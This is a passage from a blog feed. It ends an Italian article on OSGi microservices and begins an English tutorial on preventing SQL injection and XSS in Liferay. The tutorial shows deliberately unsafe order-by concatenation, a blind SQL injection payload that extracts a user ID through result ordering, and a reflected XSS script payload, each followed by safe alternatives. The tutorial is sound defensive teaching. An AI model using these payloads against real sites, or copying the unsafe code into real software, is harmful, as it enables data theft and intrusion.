(vedi Tabella 2).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;I repositori dei due progetti OSGi contengono quelli che possiamo definire bonus,
ovvero, due OSGi command per interagire con il servizio Who I am e con il servizio
Raspberry Pi. Vi ricordo che gli OSGi command sono dei veri e propri comandi
che possiamo richiamare dalla console dei container OSGi.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/smclab/aries-rsa-whoiam-examples/blob/master/consumer/src/main/java/it/smc/techblog/apache/aries/rsa/examples/whoiam/consumer/WhoIamConsumerCommand.java&quot;&gt;WhoIamConsumerCommand&lt;/a&gt;
OSGi Command per interagire con il servizio Who I am.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/smclab/aries-rsa-raspberrypi-examples/blob/master/consumer/src/main/java/it/smc/techblog/apache/aries/rsa/examples/raspberrypi/consumer/RaspberryPiServiceConsumerCommand.java&quot;&gt;RaspberryPiServiceConsumerCommand&lt;/a&gt;
OSGi Command per interagire con il servizio Raspberry Pi. Uno dei comandi restituisce per esempio la temperatura della CPU.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Ogni repository ha al suo interno il README con le istruzioni basilari per l&amp;#x27;uso.&lt;/p&gt;&lt;h2 id=&quot;8-conclusioni&quot;&gt;8. Conclusioni&lt;/h2&gt;&lt;p&gt;Per i temi che abbiamo trattato, questo articolo è una conseguenza
dell&amp;#x27;intervento che ho tenuto al
&lt;strong&gt;&lt;a href=&quot;https://liferaypartneritalia.smc.it/scarica-materiali-liferay-bootcamp-2020&quot;&gt;Liferay Boot Camp Summer Edition 2020&lt;/a&gt;&lt;/strong&gt;,
dove in particolare ho discusso della piattaforma Liferay all&amp;#x27;interno di
contesti di Microservices.&lt;/p&gt;&lt;p&gt;Per quanto ho cercato di essere sintetico, con questo articolo ho voluto
dimostrare come il framework OSGi con i suoi veri µServices sia in grado di
favorire lo sviluppo di sistemi distribuiti leggeri, affidabili e puliti.&lt;/p&gt;&lt;p&gt;Mi rendo conto che sarebbe necessario più spazio, ma con quello che sono
riuscito ad occupare spero di essere stato chiaro nell&amp;#x27;esposizione e di aver
suscitato la vostra curiosità sull&amp;#x27;argomento.&lt;/p&gt;&lt;p&gt;Credo di poter affermare che in giro per la rete è difficile trovare articoli con questo
livello di dettaglio e che hanno affrontato lo sviluppo di una soluzione pratica
mettendo a vostra disposizione tutto il materiale.&lt;/p&gt;&lt;p&gt;Se siete arrivati fino a qui, immagino che abbiate anche accumulato una serie di
domande che vi invito a lasciare in forma di commento all&amp;#x27;articolo. Prossimamente
saranno pubblicati altri articoli di approfondimento.&lt;/p&gt;&lt;h2 id=&quot;9-risorse&quot;&gt;9. Risorse&lt;/h2&gt;&lt;p&gt;A seguire lascio una serie di risorse che sono il punto di riferimento per i
contenuti di quest&amp;#x27;articolo.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.osgi.org/&quot;&gt;The Dynamic Module System for Java&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://enroute.osgi.org/&quot;&gt;OSGi eRoute&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://blog.vogella.com/2016/06/21/getting-started-with-osgi-declarative-services/&quot;&gt;Getting Started with OSGi Declarative Services&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360018162451-Introduction-to-OSGi-Basics-for-Liferay-Development&quot;&gt;Introduction to OSGi Basics for Liferay Development&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.manning.com/books/osgi-in-action&quot;&gt;OSGi in Action&lt;/a&gt; (libro)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.amazon.it/Building-Microservices-Designing-Fine-grained-Systems/dp/1492034029/ref=pd_lpo_14_t_2/260-5488717-5290064?_encoding=UTF8&amp;amp;pd_rd_i=1492034029&amp;amp;pd_rd_r=f7066ebd-7625-4bfd-91f7-530e9fe9fcb2&amp;amp;pd_rd_w=Q8Tjk&amp;amp;pd_rd_wg=qXUhS&amp;amp;pf_rd_p=3445fbfe-ec7c-415a-923d-008a660451c3&amp;amp;pf_rd_r=PWPJZPD3ETSH6WTGPJ2N&amp;amp;psc=1&amp;amp;refRID=PWPJZPD3ETSH6WTGPJ2N&quot;&gt;Building Microservices: Designing Fine-grained Systems&lt;/a&gt; (libro)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://amzn.to/3ggizMo&quot;&gt;Microservices Patterns: With Examples in Java&lt;/a&gt; (libro)&lt;/li&gt;&lt;/ul&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk7 { color: #B5CEA8; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Injection attacks - how to prevent with Liferay]]></title><link>https://techblog.smc.itinjection-attacks-how-to-prevent-with-liferay</link><guid isPermaLink="false">https://techblog.smc.itinjection-attacks-how-to-prevent-with-liferay</guid><pubDate>Fri, 19 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;An Injection attack is the submission of malicious code or commands that
could be interpreted and executed by the remote application.&lt;/p&gt;&lt;p&gt;Injection is actually first on
&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top Ten&lt;/a&gt; list, and includes
a wide range of different subtypes depending on whether the nature of command
or language.&lt;/p&gt;&lt;div class=&quot;Quote-module--content--25D05&quot;&gt;&lt;blockquote&gt;&lt;p&gt;Taken together, injection attacks are a huge percentage of the serious
application security risk. Many organizations have poorly thought through
security controls in place to prevent injection attacks.
— &lt;cite&gt;&lt;a href=&quot;https://owasp.org/www-community/Injection_Theory&quot;&gt;OWASP, about the injection attacks&lt;/a&gt;&lt;/cite&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;In this article we will focus our attention on two particular types of injection:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SQL Injection (SQLi) – when the injection of SQL &lt;em&gt;commands&lt;/em&gt; occours&lt;/li&gt;&lt;li&gt;Cross-Site Scripting (XSS) – when the injection of a &lt;em&gt;browser-side&lt;/em&gt; script occours&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;then we will see how &lt;a href=&quot;https://www.liferay.com&quot;&gt;Liferay Portal&lt;/a&gt; solutions helps you
to prevent injection attacks, keeping up the security level.&lt;/p&gt;&lt;h1 id=&quot;liferay-portal-security&quot;&gt;Liferay Portal Security&lt;/h1&gt;&lt;p&gt;Liferay follows the &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top 10&lt;/a&gt; and
&lt;a href=&quot;https://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html&quot;&gt;CWE/SANS Top 25&lt;/a&gt;
lists to ensure the highest level of protection against several known attacks.&lt;/p&gt;&lt;p&gt;Here are some kind of attacks included in both OWASP
Top Ten and CWE/SANS Top 25 and for which Liferay offers the highest level
of protection against:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/Injection_Theory&quot;&gt;Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/csrf&quot;&gt;Cross-Site Request Forgery (CSRF)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/Broken_Access_Control&quot;&gt;Broken Access Control&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;Unrestricted file upload&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Clickjacking&quot;&gt;Clickjacking&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Path_Traversal&quot;&gt;Path traversal&lt;/a&gt;&lt;/li&gt;&lt;li&gt;...and many others.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Liferay &lt;a href=&quot;https://portal.liferay.dev/learn/security/overview&quot;&gt;takes care about security&lt;/a&gt;,
in both the community (CE) and the enterprise (DXP) editions,
keeping always up-to-date the
&lt;a href=&quot;https://portal.liferay.dev/learn/security/known-vulnerabilities&quot;&gt;known vulnerabilities list&lt;/a&gt;, and also having their own &lt;a href=&quot;https://liferay.com/security&quot;&gt;security statement&lt;/a&gt;.&lt;/p&gt;&lt;h1 id=&quot;sql-injection-sqli&quot;&gt;SQL Injection (SQLi)&lt;/h1&gt;&lt;p&gt;SQL Injection is the injection of SQL commands (or queries) as untrusted
user input data from client-side.&lt;/p&gt;&lt;p&gt;Depending on user privileges on target database, the attacker could:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;insert, update or delete rows on existing tables&lt;/li&gt;&lt;li&gt;read sensitive data from tables (select)&lt;/li&gt;&lt;li&gt;drop tables&lt;/li&gt;&lt;li&gt;execute administration commands, such as perform the shutdown getting also a
&lt;a href=&quot;https://owasp.org/www-community/attacks/Denial_of_Service&quot;&gt;DoS&lt;/a&gt; attack&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;One of the benefits using Liferay is that the persistence layer generated by the
&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360018160851-What-is-Service-Builder-&quot;&gt;Service Builder&lt;/a&gt; is built to prevent SQL Injection attacks (&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360018179071-Developing-Custom-SQL-Queries&quot;&gt;read more&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;However, when the default solution provided by the Service Builder is not enough,
Liferay helps you to maintain the highest level of protection against
SQL Injection attacks even defining customized finders.
Nevertheless, you should pay attention when implementing a custom Finder and follow
the &lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360030614252-Defining-a-Custom-Finder-Method&quot;&gt;instructions&lt;/a&gt;
provided by the official Liferay documentation.&lt;/p&gt;&lt;p&gt;In particular:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;each custom query should have its own &lt;code&gt;&amp;lt;custom-sql&amp;gt;&lt;/code&gt; element into
&lt;strong&gt;custom-sql/default.xml&lt;/strong&gt; and the sql command in a &lt;code&gt;&amp;lt;![CDATA[...]]&amp;gt;&lt;/code&gt; section,
without terminating semi-colon;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;the query parameters should always set using &lt;code&gt;QueryPos&lt;/code&gt; which performs escaping.
Validation of untrusted data is mandatory as well as order-by column names from
request parameters.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Strict validation of untrusted data coming from HTTP-request parameters is the
key to prevent the SQL injection.&lt;/p&gt;&lt;p&gt;In the following example we will show why the &lt;code&gt;order-by&lt;/code&gt; column names should
never came directly from the request without prior validation, and how an injection attack
on the &lt;strong&gt;order-by&lt;/strong&gt; clause can significatively reduce the total attempts needed
to guess a column value.&lt;/p&gt;&lt;p&gt;Suppose we have extended our model adding a new &lt;strong&gt;Vendor&lt;/strong&gt; entity, introducing
a vulnerability on the finder implementation:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;sql = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;StringUtil&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(sql, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;[$ORDER_BY$]&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot; ORDER BY &amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; + orderBy);  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// unsafe&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;the safe version will make use of the &lt;code&gt;BasePersistenceImpl.appendOrderByComparator()&lt;/code&gt;:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk10&quot;&gt;StringBundler&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;StringBundler&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (orderByComparator != &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;appendOrderByComparator&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(sb, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Vendor.&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, orderByComparator);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;sql = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;StringUtil&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(sql, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;[$ORDER_BY$]&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;with such vulnerability, for instance, the attacker could try to use the
SearchContainer&amp;#x27;s &lt;code&gt;orderByCol&lt;/code&gt; parameter on the vendors search page,
to inject the following sql command by the form submit action:&lt;/p&gt;&lt;p&gt;&lt;code&gt;_portletName_INSTANCE_instanceId_orderByCol=&lt;/code&gt;&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;sql&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;CASE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;WHEN&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;SELECT&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;substring&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;CONVERT&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(userId, &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;CHAR&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;FROM&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; user_&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;WHERE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; emailAddress = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;test@liferay.com&amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  ) = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;2&amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;THEN&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;ELSE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; vendorId &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;END&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In this way, the attacker can guess the i-th digit of the userId having
&lt;code&gt;test@liferay.com&lt;/code&gt; as e-mail address just verifying the results ordering in page.
Each injection attempt will change the results order, whether the exact digit
has guessed or not. Supposing userIds of five digits, the attacker can easily
guess the userId in (5 * 9) - 1 = 44 attempts on the worst case, when a
brute-force attack can require 9 * 10^4 attempts.
The same attack could also be used to guess the screen-name or the encrypted
password, but this will require more attempts.&lt;/p&gt;&lt;h2 id=&quot;some-useful-tips-to-protect-against-sql-injection-attacks&quot;&gt;Some useful tips to protect against SQL Injection attacks&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Liferay ServiceBuilder helps you to keep up the security level, but pay
attention providing custom Finder implementations: when using the &lt;code&gt;OrderByComparator&lt;/code&gt;
always perform a strict validation for column names in order-by clauses.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Keep in mind that vulnerability to SQL Injection is also an input validation problem:
in order to prevent the injection attack, string concatenation should be avoided
expecially on untrusted data from the request without prior validation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make use of query parameters, because the output escaping will neutralize the
injection attack.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h1 id=&quot;cross-site-scripting-xss&quot;&gt;Cross-Site Scripting (XSS)&lt;/h1&gt;&lt;p&gt;Cross-site scripting (XSS) is also known as “Improper neutralization of input
during web page generation” and is one of the most common attacks according to
&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top 10&lt;/a&gt; and
&lt;a href=&quot;https://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html&quot;&gt;CWE/SANS Top 25&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;According to the OWASP &lt;a href=&quot;https://owasp.org/www-community/Types_of_Cross-Site_Scripting&quot;&gt;reclassification&lt;/a&gt;,
XSS attacks can be classified in two main types:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Server XSS&lt;/strong&gt;:
when untrusted user input data is included on server response&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Client XSS&lt;/strong&gt;:
when untrusted user input data is added to DOM or evaluated through unsafe
JavaScript call&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Another possibile classification of XSS attacks is about data persistency:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Stored (Persistent or Type-I)&lt;/strong&gt;:
when untrusted user input data is stored on the target server persistent
storage like database&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reflected (Non-Persistent or Type-II)&lt;/strong&gt;:
when untrusted user input data is returned in server response without being
permanently stored.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:400px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/40d401424498141e62c48e1ec07b9782/e17e5/xsstypes.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:68.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;274\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20274\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M28%2041v14h101V26H28v15m102%200v14h104V26H130v15m105%200v14h112V26H235v15\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/40d401424498141e62c48e1ec07b9782/c85cb/xsstypes.webp 300w,/static/40d401424498141e62c48e1ec07b9782/7f61c/xsstypes.webp 400w&quot; sizes=&quot;(max-width: 400px) 100vw, 400px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/40d401424498141e62c48e1ec07b9782/5a46d/xsstypes.png 300w,/static/40d401424498141e62c48e1ec07b9782/e17e5/xsstypes.png 400w&quot; sizes=&quot;(max-width: 400px) 100vw, 400px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Types of XSS&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/40d401424498141e62c48e1ec07b9782/e17e5/xsstypes.png&quot; title=&quot;Types of XSS&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Types of XSS&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;liferay-portal-is-built-to-prevent-xss-attacks&quot;&gt;Liferay Portal is built to prevent XSS attacks&lt;/h3&gt;&lt;p&gt;When you are developing new portlet component, you should make use of the
standard Liferay frontend &lt;a href=&quot;https://docs.liferay.com/portal/7.1-latest/taglibs/util-taglib/liferay-ui/tld-summary.html&quot;&gt;taglib&lt;/a&gt;.
The taglib elements (such as &lt;code&gt;&amp;lt;aui: &amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;liferay-ui: &amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;clay: &amp;gt;&lt;/code&gt; ) are safe
because they always perform output escaping where needed and in the right way,
so they will neutralize almost any kind of XSS attack.&lt;/p&gt;&lt;p&gt;Liferay&amp;#x27;s &lt;a href=&quot;https://docs.liferay.com/portal/7.0/javadocs/portal-kernel/com/liferay/portal/kernel/util/HtmlUtil.html&quot;&gt;HtmlUtil&lt;/a&gt;
is the right way to safely perform output escaping.&lt;/p&gt;&lt;p&gt;Now let&amp;#x27;s show some examples of &lt;em&gt;Server XSS&lt;/em&gt; attacks...&lt;/p&gt;&lt;h2 id=&quot;reflected-server-xss-attack---example&quot;&gt;Reflected Server XSS Attack - example&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;💻 &lt;strong&gt;CLIENT&lt;/strong&gt;: malicious code is submitted via the HTTP-request parameters or body&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;firstName=&amp;lt;script&amp;gt;alert(&amp;#x27;XSS!&amp;#x27;)&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ol start=&quot;2&quot;&gt;&lt;li&gt;🌍 &lt;strong&gt;SERVER&lt;/strong&gt;: dynamically generated response includes untrusted data
(because missing HTML-escaping):&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;jsp&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Hello, &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;%= firstName %&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ol start=&quot;3&quot;&gt;&lt;li&gt;💻 &lt;strong&gt;CLIENT&lt;/strong&gt;: the browser shows the response page executing the injected malicious code&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;html&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span 